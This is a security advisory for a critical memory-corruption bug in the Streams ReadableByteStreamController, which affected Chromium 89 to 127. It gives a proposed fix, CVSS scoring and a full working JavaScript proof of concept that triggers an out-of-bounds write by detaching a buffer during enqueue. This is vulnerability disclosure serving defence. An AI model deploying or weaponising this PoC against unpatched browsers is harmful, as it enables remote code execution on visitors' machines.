Skip to content

Memory corruption in ReadableByteStreamControllerFillPullIntoDescriptorFromQueue

Critical
domenic published GHSA-p5g2-876g-95h9 Sep 11, 2024

Package

Chromium (Browser)

Affected versions

89.0.4346.0 - 127.0.6493.0

Patched versions

127.0.6493.0
Firefox (Browser)
Unknown
None

Description

(Originally reported by jtrrodant@gmail.com to Chromium)

Summary

When controller.enqueue() is called, and then controller.byobRequest is accessed and used to transfer the array buffer (i.e. by worker.postMessage() in the PoC below), the next enqueue() mistakenly tries to fill the pull-into descriptor because the pull-into descriptor keeps track of the byte length separately from the buffer's byte length which is now 0, as it was detached while transferring.

This results in an attacker having the ability to write an arbitrary value to a memory range (within some bounds) without user interaction.

A potential fix for this is to check if the buffer stored in the pull-into descriptor is detached, and if so, throw a TypeError and return false at the beginning of ReadableByteStreamControllerFillPullIntoDescriptorWithQueue, so we can return before we try to write data in Step 10.4.
(Patch in Chromium: https://chromium-review.googlesource.com/c/chromium/src/+/5553232)

Details

Original report: "When js api ReadableByteStreamController.enqueue is called, it may go with ReadableByteStreamController::enqueue -> Enqueue -> ProcessPullIntoDescriptorsUsingQueue. In this function there is a while loop to fill pull into descriptor, if the chunk is ready, it uses Promise.Resolve to fullfill the request and return the buffer to user [...]. However, fullfill the request may trigger an user-defined js function and one can detach the buffer which already queued in the next descriptor by accessing readcontroller.byobRequest. This will result in memory corruption when executing memcpy [...], which has the ability to write an arbitrary value to memory range starting from 0 to maxArrayBufferLength."

PoC

Original PoC:

<script id="worker">
</script>

<script>
  var readstream;
  var reader;
  var readcontroller;

  function test(){
    var blob = new Blob([
      document.querySelector('#worker').textContent
    ], { type: "text/javascript" })
    
    worker = new Worker(window.URL.createObjectURL(blob));

    readstream = new ReadableStream({
      type : "bytes",
      start(c){
        readcontroller = c;
      }
    });
    reader = readstream.getReader({ mode : "byob"});

    // var length = 0x10000000;
    var length = 0x42424240;
    
    var ab = new ArrayBuffer(length);
    var ba = new BigUint64Array(ab, length - 8, 1);

    reader.read(new DataView(new ArrayBuffer(0x100)));
    reader.read(ba);

    var req;
    var flag = false;
    Object.defineProperty(Object.prototype, "then", {
      get(){
        if(!flag){
          flag = true;
          req = readcontroller.byobRequest;            
          worker.postMessage(req.view.buffer, [req.view.buffer]);
        }
      }
    });
    readcontroller.enqueue(new DataView(new ArrayBuffer(0x110)));
  }

  window.onload = test;
</script>

Impact

This is a write of arbitrary values, likely in the renderer process for a browser, to a controllable address (offsets between 0 and maxArrayBufferLength) so is clearly an RCE. This is implementable by any webpage and can happen without user interaction on the page.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

No CWEs

Credits